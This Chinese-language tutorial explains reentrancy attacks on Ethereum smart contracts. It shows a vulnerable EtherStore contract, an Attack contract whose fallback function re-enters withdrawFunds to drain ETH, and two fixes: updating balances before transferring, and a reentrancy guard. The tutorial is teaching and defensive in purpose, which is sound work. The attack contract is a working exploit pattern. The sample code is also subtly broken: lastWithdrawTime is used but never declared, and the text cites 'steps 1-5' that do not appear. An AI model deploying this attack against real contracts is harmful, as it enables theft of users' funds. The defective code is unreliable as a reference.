前言
重入(Reentrancy)攻击是合约攻击中比较常见的攻击手段。黑客利用自己攻击合约中的 fallback() 函数和多余的gas将合约中本不属于自己的 ETH 转走。
fallback()
fallback函数,回退函数,是合约里的特殊无名函数,有且仅有一个。
- 它在合约调用没有匹配到函数签名被调用;
- 调用(call, send, transfer)没有带任何数据时被自动调用;
第一种情况多见于函数调用错误,第二种情况多见于原生币(链币)转账。 我们再来看看官方文档的内容:
如果在一个对合约调用中,没有其他函数与给定的函数标识符匹配fallback会被调用. 或者在没有 receive 函数时,而没有提供附加数据对合约调用,那么fallback 函数会被执行。
也就是说,攻击合约不需要实现 receive,只需要将攻击逻辑写在 fallback 中就可以实现
每次 eth 转账后,执行重入攻击逻辑。
合约示例
假设我们有两个合约:存储 eth 的合约、攻击合约。
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
}
}
针对这个合约,攻击者可以不执行
balances[msg.sender] -= _weiToWithdraw;
,利用 fallback 函数在攻击合约中将所有 eth 转走。
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
require(msg.value >= 1 ether);
etherStore.depositFunds.value(1 ether)();
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
我们回顾一下上面的步骤从1-5,就能理解重入攻击的原理了。
如何防范
我们发现,重入攻击者是利用合约
先转账后赋值,导致
函数逻辑未执行完成的漏洞进行攻击的。自然的,我们就有两种防范方法:
- 先赋值后转账 对于 EtherStore 的 withdraw 函数做如下更改
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
require(msg.sender.call.value(_weiToWithdraw)());
}
- 创建公有变量,记录每个 caller 进出函数的情况。
这个的原理是记录调用者(caller)的进出记录,检查有没有完整的执行函数逻辑。如果攻击者只有进记录,没有出记录,那么很有可能是在进行重入攻击。 我们常用的 Openzeppelin 就是使用的这个方法来防止重入攻击的,具体可以参考:
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol 参考文章: https://www.jianshu.com/p/601c9e759281